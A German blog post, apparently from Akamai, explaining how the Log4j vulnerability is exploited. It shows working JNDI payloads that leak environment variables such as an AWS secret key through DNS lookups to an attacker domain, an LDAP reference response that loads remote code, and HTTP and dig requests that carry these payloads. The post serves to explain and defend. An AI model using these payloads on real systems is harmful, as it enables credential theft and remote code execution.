Ein Rückblick auf Log4j Teil 2: Exploits zur Datenextraktion und Codeausführung aus der Ferne
Datenextraktion
In Teil 1ging es um die Hintergründe der Schwachstellen. Jetzt kommen wir zu den eigentlichen Exploits. Wie im vorherigen Beitrag erwähnt, ermöglicht JNDI nicht nur die Abfrage lokaler Daten innerhalb der Java-Laufzeitumgebung, sondern auch in entfernten Systemen wie DNS und LDAP. Durch die Kombination von JNDI, entfernten Systemen, der Umgebungsabfrage und Verschachtelung kann eine Payload erstellt werden, die, wenn sie in einen Text eingefügt wird, der protokolliert werden soll, zu einer Datenextraktion führt.
Stellen Sie sich in diesem Beispiel vor, der Angreifer ist Eigentümer des Domainnamens: malware.example.
Hinweis: Wir verwenden den Top-Level-Domainnamen .example, um zu vermeiden, dass in diesem Dokument auf einen echten Domainnamen verwiesen wird. Sie können jedoch davon ausgehen, dass dieser durch einen beliebigen Domainnamen ersetzt werden kann, den ein Angreifer erwerben kann.
Stellen Sie sich jetzt vor, dass ein Angreifer die Möglichkeit hat, den Text zu manipulieren, der an Log4j gesendet wird. Wie das gehen kann, erfahren Sie später in diesem Beitrag. Für dieses Beispiel nehmen wir an, dass der Text wie folgt aussieht:
„Protokolliere: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}“
Gemäß den zuvor beschriebenen Verschachtelungsprinzipien würde Log4j zunächst ${env:USER}auswerten. Das führt zu einer Abfrage nach dem Nutzer, der die Software ausführt. Gehen wir jetzt davon aus, es handele sich dabei um den Administrator. Log4j würde das dann wieder in den Text einfügen und diese Zwischenprotokollzeile erzeugen:
„Protokolliere: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}“
Diese Zeile enthält noch einen Abfrageausdruck:
${jndi:dns://127.0.0.1:53/Administrator.malware.example}
Log4j sieht den JNDI-basierten Abfrageausdruck, analysiert die Pseudo-URL von dns://127.0.0.1:53/Administrator.malware.exampleund gibt sie an JNDI weiter. JNDI erkennt, dass für diese Pseudo-URL der DNS-Anbieter erforderlich ist, und führt eine DNS-Abfrage durch unter Verwendung des Localhost-Resolvers für Administrator.malware.example.
Da malware.example dem Cyberkriminellen gehört, wird die DNS-Abfrage für Administrator.malware.example seinen autoritativen DNS-Server erreichen. Durch die Beobachtung der DNS-Abfrage hat der Cyberkriminelle nun herausgefunden, dass die Software, die den anfälligen Log4j-Code verwendet, ausgeführt wird als Administrator.
Dieses Beispiel veranschaulicht, wie leicht Daten aus einer Umgebung nach außen dringen können, wenn Log4j sorgfältig gestaltete Payloads zur Verfügung gestellt werden. Auch wenn die Offenlegung des aktuellen Nutzers schon schlimm genug ist, gibt es weitaus schlimmere und geheimere Informationen, die dafür anfällig sind.
Stellen wir uns für das nächste Beispiel (das tatsächlich beobachtet wurde) vor, was passiert, wenn wir ${env:USER} von oben in ${env:AWS_SECRET_ACCESS_KEY}ändern, was die folgende Zeichenkette ergibt:
„Protokolliere: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}“
Der vorherigen Logik folgend, würde dies zu einer DNS-Abfrage führen, die beim autoritativen DNS-Server des Cyberkriminellen ankommt, der den geheimen AWS-Zugriffsschlüssel für die Amazon-Umgebung enthält, in der der Log4j-Code ausgeführt wird. Die Offenlegung von Informationen wie diesen könnte dazu führen, dass AWS-Instanzen übernommen werden.
Förmlich jede Information, die sich in der Umgebung der Software befindet, auf der der anfällige Code ausgeführt wird und auf die über einen Log4j-Abfrageausdruck zugegriffen werden kann, lässt sich leicht verschachteln und dazu zwingen, in ein von einem Angreifer gesteuertes System einzudringen.
Und obwohl das bereits schlimm genug ist, kann es noch übler werden.
Codeausführung aus der Ferne
Wie sich herausstellt, ist es durch die Implementierung von JNDI in einige Java-Versionen standardmäßig möglich, dass einige Verzeichnisdienste sowohl direkt als auch indirekt auf Anfragen mit Code aus der Ferne antworten, den der anfragende Rechner dann lokal ausführt.
Der LDAP-Verzeichnisdienstanbieter auf anfälligen Installationen ermöglicht es beispielsweise einem LDAP-Server, auf eine Abfrage mit einer so genannten Referenz zu antworten. Diese Referenz listet den entfernten Ort des Codes auf, der heruntergeladen und lokal ausgeführt werden soll.
Das mag zunächst verrückt klingen, aber in stark kontrollierten Umgebungen, in denen der LDAP-Server und die zugehörige Infrastruktur vertrauenswürdig sind, gibt es dafür gute Gründe. Probleme treten auf, wenn ein Angreifer den anfragenden Rechner auf einen nicht vertrauenswürdigen LDAP-Server verweisen kann, den er kontrolliert. Der Angreifer kann dann Verweise auf bösartigen Code zurückgeben, den JNDI pflichtgemäß herunterlädt und auf dem Host-Rechner ausführt.
Da anfällige Log4j-Instanzen über Abfrageausdrücke uneingeschränkten Zugriff auf JNDI ermöglichen, kann durch sorgfältig gestaltete Protokollzeilen Code aus der Ferne geladen und ausgeführt werden. Sehen Sie sich die folgende an Log4j gesendete Nachricht an:
„Protokolliere: ${jndi:ldap://rce.malware.example/a}“
Auf anfälligen Systemen sieht Log4j den Abfrageausdruck ${jndi:ldap://rce.malware.example/a} und extrahiert die JNDI-Pseudo-URL ldap://rce.malware.example/aund übergibt sie zur Verarbeitung an JNDI. JNDI erkennt, dass diese URL den LDAP-Verzeichnisdienstanbieter verwendet, und stellt eine LDAP-Abfrage an rce.malware.example .
Da rce.malware.example im Besitz des Cyberkriminellen ist und von diesem betrieben wird, sendet er eine Referenz-Payload als LDAP-Antwort zurück, die der folgenden ähnelt:
dn:
javaClassName: exploit
javaCodeBase: http://rce.malware.com/exploit/
objectClass: javaNamingReference
javaFactory: exploitFactory
JNDI wendet sich nach Erhalt dieser Antwort an die Webserver-URL von http://rce.malware.com/exploit/ und lädt die zugehörige schädliche Payload für die Ausführung des Codes aus der Ferne herunter und führt sie schließlich auf dem System aus, auf dem Log4j ausgeführt wird.
Bedrohungslandschaft
Für all diese schrecklichen Angriffe ist es erforderlich, dass speziell gestaltete Nachrichten an Log4j weitergegeben werden. Es stellt sich also die Frage: Wie gelingt das Angreifern? Die Antwort: Sie nutzen jede Gelegenheit, in der Informationen, die sie bereitstellen, protokolliert werden können.
Der derzeit häufigste Angriffsvektor wird gegen webbasierte Anwendungen gerichtet. Viele solcher Anwendungen protokollieren die Interaktionen mit den Endnutzern, die die Website besuchen. Sie können zum Beispiel den angeforderten Pfad zusammen mit dem User Agent, der Uhrzeit und dem Ergebnis der Anfrage protokollieren.
Mit diesem Wissen kann ein Angreifer dann eine Verbindung zu einer Webanwendung herstellen und eine Anfrage wie die folgende stellen:
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
User Agent: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}
Die Webanwendung würde nach Erhalt der Anfrage den Pfad von /${jndi:ldap://rce.malware.example/a} und den User Agent von ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}analysieren und beides an Log4j senden. Geschieht dies auf einem anfälligen System, wird der geheime AWS-Zugriffsschlüssel bekannt, und beliebiger Code wird heruntergeladen und ausgeführt.
Es ist zwar richtig, dass webbasierte Anwendungen derzeit mehr als alles andere ins Visier genommen werden, dennoch sollte bedacht werden, dass jeder Dienst, der die folgenden Kriterien erfüllt, anfällig ist:
führt Java aus
verwendet zur Protokollierung von Nachrichten eine anfällige Version von Log4j
protokolliert etwas, das der Angreifer bereitstellt (URLs, Header, Cookies, Abfragen usw.)
Ein weiterer Angriffsvektor, den Akamai beobachtet, wenn auch in weitaus geringerem Maße als die Variante für Webanwendungen, ist DNS. Um herauszufinden, ob es anfällige DNS-Resolver gibt, stellen Angreifer DNS-Abfragen mit anfälligen Payloads. Dies kann so einfach sein wie die Eingabe der folgenden DNS-Abfrage über die Befehlszeile:
# dig '${jndi:ldap://rce.malware.example/a}.foo.example'
Damit wird das System, auf dem der Befehl ausgeführt wird, angewiesen, eine DNS-Abfrage an den konfigurierten Resolver des Hosts für den Log4j-Abfragestring selbst zu stellen. Ein DNS-Resolver, der eine solche Abfrage empfängt, kann sie protokollieren, da sie ungültige Zeichen enthält. Wenn dieser DNS-Resolver auf Java basiert und eine anfällige Version der Log4j-Bibliothek für die Protokollierung verwendet, wird der Exploit ausgeführt.
Ein solcher Angriff ist nicht auf die Abfrage beschränkt. Ein weiterer Ansatz, den Akamai beobachtet, ist die Einbettung von Payload in eine DNS-Antwort. Viele DNS-Abfragen können zu Antworten führen, die andere Informationen als IP-Adressen enthalten, z. B. CNAME, TXT, SRV und PTR. Es gibt Anzeichen dafür, dass Angreifer eigene Antwortdatensätze manipulieren, um anfällige Zeichenfolgen einzubetten, und sowohl Resolver auf der Antwortseite als auch Anwendungen angreifen, die die Ergebnisse solcher Abfragen protokollieren könnten.
Und das ist nur ein kleiner Ausschnitt aus den bekannten Internetprotokollen. Die Bedrohungslage geht weit über solche Anwendungsfälle hinaus. Genau genommen haben Sicherheitsforscher erst kürzlich gezeigt, dass die Umbenennung eines iPhones in einen anfälligen Log4j-Exploit-String dazu führte, dass die Server in der Apple-Infrastruktur einen Ping zurückschickten, der anfällige Rechner anzeigte, die den Namen des Telefons verarbeiteten.
Um zu verstehen, wie schlimm diese Schwachstelle ist,müssen wir bedenken, dass Java auf Milliarden Geräten weltweit ausgeführt wird und dass Log4j eine der am häufigsten verwendeten Bibliotheken zum Protokollieren dafür ist. Alles – von Webservern bis zu Verkaufsautomaten – könnte anfällig sein. Bei eingebetteten und IoT-Geräten können viele möglicherweise nicht einmal gepatcht werden.
Die Bedrohungslandschaft besteht nicht nur aus der schieren Anzahl der Geräte, die diesem Angriff ausgesetzt sind, sondern auch aus der Zeit, in der sie ihm ausgesetzt sind. Angesichts der großen Angriffsfläche und der Nicht-Patchbarkeit einiger Komponenten begleitet uns diese Sicherheitslücke wahrscheinlich nicht nur mehrere Monate, sondern Jahre. Hinzu kommt, dass sie frühere bekannte Schwachstellen wie Shellshock und Heartbleed in Bezug auf sowohl Größe als auch Auswirkungen in den Schatten stellen wird.
So geht’s weiter
Bleiben Sie dran und freuen Sie sich auf Teil 3, in dem es um die Entwicklung von Angriffen und die verfügbaren Schutzmaßnahmen für Ihr Unternehmen in dieser dynamischen Umgebung geht.
